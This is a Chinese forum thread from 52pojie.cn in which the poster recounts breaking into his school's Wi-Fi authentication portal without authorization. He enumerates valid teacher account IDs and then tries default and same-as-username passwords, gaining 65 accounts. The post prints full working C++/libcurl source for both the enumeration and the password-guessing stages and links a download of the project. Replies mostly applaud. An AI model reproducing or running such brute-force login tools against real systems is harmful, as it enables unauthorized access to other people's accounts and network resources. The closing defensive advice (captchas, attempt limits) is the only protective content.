吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 80700|回复: 107
收起左侧

[C&C++ 转载] 记一次暴力爆破校园网认证密码(附源码)

    [复制链接]
MXWXZ 发表于 2016-12-25 23:38
由于学校wifi的蹭网人数太多,已经挂掉好几次了,所以最近学校换成了认证登录,每个老师给一个账号,每个账号限制登录2台设备……这尼玛不能忍啊!
乘着前两天活动,有借口带电脑了……不到半个小时就跑出来了~(当时偷偷弄得,没截图,各位就看文字吧……)

本文主要是分析思路和程序编写,你可能需要C++基础和一些网页常识才能看懂,不知道的可以问度娘。


准备:
俗话说,再强大的防御系统最后的漏洞都在人身上,通过其他同学的小道消息,弄清了认证账号的格式:61+老师手机号后四位即610000-619999共10000种可能,至于密码默认是123456或者和账号一样,虽然要求修改了密码,然而大家都知道总会有那么几个懒人不改……我们的突破口就是这些人的密码。

初步分析:
先看看认证界面,chrome浏览器发现是一个登陆界面,不过居!然!有!验!证!码!这就比较尴尬了……虽然看上去没有太多的混淆,不过这个OCR识别的工作量太大,放弃。
然后想着看看网页源码吧,然后就发现了一个好玩的东西,这个验证图片地址类似于这样:/img/1234.png ,这明显是在侮辱我的智商……于是想着模拟GET到网页,再截到验证码,然后POST就可以了。
然而接着我试着用ie打开发现,上面只有一个登陆一个密码,连验证码都不要了……什么鬼?这货还看脸?好吧,反正我也懒得写截取的代码。

登陆包分析:
Fiddler抓包看到了登陆包的格式:session+token+username+password,这设计者还有点脑子,每次要重新get新session和token,要不然直接飞起……
不过登陆时发现有3种状态:账号不存在,密码错误,登陆设备达上限。

爆破程序:
懒得开庞大的VS了,就用VC6玩玩吧,方便起见就用非常棒的CURL来做HTTP模拟吧。
先把用户名跑出来
[C++] 纯文本查看 复制代码
#include <afx.h>
#include <stdio.h>
#include "include/curl/curl.h"

size_t process_data(void* buffer, size_t size, size_t nmemb, void* user_p)
{
	strcat((char*)user_p, (char*)buffer);
	return size*nmemb;
}
  
int main(int argc, char* argv) {  
	//初始化curl
	CURL* pEasyHandle = curl_easy_init();
	CURLcode code;
	int m,n;	//方便多开,输入m,n代表爆破从m到n的账号(610000-619999)
	scanf("%d%d",&m,&n);
	char* f;
	scanf("%s",f);	//保存文件
	CString v=f;
	v.Format("%s.txt",v);
	FILE* fp=fopen(v,"w");
	for(int i=m;i<=n;++i)
	{
		printf("%d\n",i);	//当前账号名
		curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b");  //登录地址
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
		curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
		curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);   
		curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
		char szRet[100000] = {0};	//返回信息
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
		code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
		CString ret=szRet;
		int pos1=ret.Find("JSESSIONID=");	//定位sessionid
		CString session=ret.Mid(pos1+11,32);	//32位seesionid
		int pos2=ret.Find("TOKEN\" value=\"");	//取得当前TOKEN
		CString token=ret.Mid(pos2+14,32);
		CString po;
		//提交数据
		po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=123&submit=Login",token,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
		curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
		curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);	//提交地址
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
		curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
		curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);  
		curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
		char szRet2[1024] = {0};	//返回信息
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
		code = curl_easy_perform(pEasyHandle);
		ret=szRet2;

		if(ret.Find("帐号不存在")==-1)	//不是账号不存在(账号名有效)
			fprintf(fp,"%d\n",i);	//保存到文件
		
//printf("%s\n",szRet2);
	/*	Sleep(sp);
		cnt++;
		if(cnt%10 == 0)
			printf("%d\n",cnt);*/
	}
	fclose(fp);
	curl_easy_cleanup(pEasyHandle);
	getchar();
    return 0;  
} 

开5个程序一起跑,由于是内网,速度飞快(大概3个/s)
最后发现221个有效账号,然后试用户名和密码相同的账号:(将main函数稍作修改)
[C++] 纯文本查看 复制代码
int main(int argc, char* argv) {  
	//初始化
	CURL* pEasyHandle = curl_easy_init();
	CURLcode code;
FILE* fp=fopen("ok.txt","w");	//保存到ok.txt
	int i;
	freopen("data.txt","r",stdin);	//有效用户名文件
	//freopen("ok.txt","w",stdout);
	while(scanf("%d",&i)==1)	//循环读取data.txt
	{
		printf("%d\n",i);
		curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portal.do?wlanuserip=172.17.30.197&wlanacname=system&mac=xx:xx:xx:xx:xx:xx&vlan=0&url=http://go.microsoft.com/fwlink/?LinkID=219472&clcid=0x409&rand=582e3a2b");
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
		curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
		curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);   
		curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
		char szRet[100000] = {0};
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEHEADER, szRet);
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet);
		code = curl_easy_perform(pEasyHandle);
//printf("%s\n",szRet);
		CString ret=szRet;	//返回数据
		int pos1=ret.Find("JSESSIONID=");	//找到sessionid
		CString session=ret.Mid(pos1+11,32);
		int pos2=ret.Find("TOKEN\" value=\"");	//找到token
		CString token=ret.Mid(pos2+14,32);
		CString po;
		//模拟提交
		po.Format("org.apache.struts.taglib.html.TOKEN=%s&wlanuserip=172.17.30.197&wlanacname=system&chal_id=&chal_vector=&auth_type=PAP&seq_id=&req_id=&wlanacIp=127.0.0.1&ssid=&mac=xx%%3A1e%%3A11%%3Aac%%3A00%%3A00&message=&bank_acct=&isCookies=&listpasscode=1&listgetpass=1&getpasstype=0&randstr=4692&domain=&version=0&authkey=&usertype=&url=http%%3A%%2F%%2Fgo.microsoft.com%%2Ffwlink%%2F%%3FLinkID%%3D219472&isHaveNotice=0&userid=%d&passwd=%d&submit=Login",token,i,i);
//printf("\n\n\n%s\n\n",po.GetBuffer(0));
//po.ReleaseBuffer();
		curl_easy_setopt(pEasyHandle, CURLOPT_POSTFIELDS, po);
		curl_easy_setopt(pEasyHandle, CURLOPT_URL, "http://1.1.1.1:8080/portalAuthAction.do;jsessionid=%s",session);
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEFUNCTION, &process_data);
		curl_easy_setopt(pEasyHandle, CURLOPT_TIMEOUT, 20);  
		curl_easy_setopt(pEasyHandle, CURLOPT_FORBID_REUSE, 1);  
		curl_easy_setopt(pEasyHandle, CURLOPT_COOKIEFILE, "cookie.txt");
		char szRet2[1024] = {0};
		curl_easy_setopt(pEasyHandle, CURLOPT_WRITEDATA, szRet2);
		code = curl_easy_perform(pEasyHandle);
		ret=szRet2;	//返回数据
		if(ret.Find("密码错误")==-1)	//密码正确(可能是达到上限)
			fprintf(fp,"%d\n",i);	//保存账号
		
//printf("%s\n",szRet2);
	/*	Sleep(sp);
		cnt++;
		if(cnt%10 == 0)
			printf("%d\n",cnt);*/
	}
	fclose(fp);
	curl_easy_cleanup(pEasyHandle);
	getchar();
    return 0;  
} 

这次更快了,几秒钟之后,65个账号就跑出来啦~(懒人还真多……)
电脑也已经连上网了~这下妈妈再也不怕没有密码了……

总结:
学校的这个认证系统还真是辣鸡,各位如果需要做认证wifi的话还是要考虑很多东西,或者用广泛使用的认证系统,然后加上复杂的验证码(不要弄成验证码.png),最好有个尝试次数,这样才不怕别人蹭网……

完整工程下载(VC6):http://pan.baidu.com/s/1gfuokT1  密码:ztvl

点评

那个,现在很多学校都是用锐捷认证系统的。貌似你的学校有点奇怪。。。  发表于 2016-12-26 07:37
lz可以试一下python, 写类似这种程序会有一种快感  发表于 2016-12-26 00:43

免费评分

参与人数 23吾爱币 +7 热心值 +23 收起 理由
S1MPLYOUNG + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Doer + 1 + 1 用心讨论,共获提升!
IFoe + 1 + 1 谢谢@Thanks!
陈知而 + 1 我很赞同!
q18738536853 + 1 + 1 已答复!
wolf豪 + 1 + 1 用心讨论,共获提升!
Jay熊熊君 + 1 谢谢@Thanks!
Azure_atk + 1 + 1 谢谢@Thanks!
小白小菜 + 1 + 1 热心回复!
逝晓风 + 1 用心讨论,共获提升!
202435 + 1 用心讨论,共获提升!
huang193 + 1 热心回复!
lauuugh + 1 不明觉厉
caijinqi1998 + 1 我很赞同!
保护媳妇 + 1 如果有锐捷网页的那个破解就好了
白菜 + 1 其实用burp的话 是不是更简单~
palmer680 + 1 谢谢@Thanks!
kenny1994 + 1 学长厉害了。。。在安青上也刚看到了学长的帖子。。。
Yasin + 1 谢谢@Thanks!
ZOKEKAI + 1 谢谢@Thanks!
浩哥呐 + 1 用心讨论,共获提升!
z2019458641 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
吾爱小强强 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

艾莉希雅 发表于 2016-12-25 23:50
因吹时停……楼主这把跑出这么多账号打算如何是好
建议楼主稍微低调些,有时候这些老师恼羞成怒可是会做出很多很可怕的事情的
教育工作者良莠不齐,楼主需要小心自身安全
故人旧事 发表于 2016-12-26 18:36
aisibi 发表于 2016-12-26 23:07
fhxms 发表于 2016-12-25 23:50
我倒,牛人啊
1455018613 发表于 2016-12-25 23:51
{:1_903:}什么校园网
Henrie 发表于 2016-12-26 00:05 来自手机
流弊,楼主666!
安安の 发表于 2016-12-26 00:14
这都可以     真真的无语
Loice 发表于 2016-12-26 00:17 来自手机
厉害了楼主
52bibi 发表于 2016-12-26 00:33
厉害了 我的哥 反正我看不懂
yesgod 发表于 2016-12-26 00:34 来自手机
厉害了我的哥
13057565289 发表于 2016-12-26 00:41 来自手机
太困弱以后再说
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 23:20

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表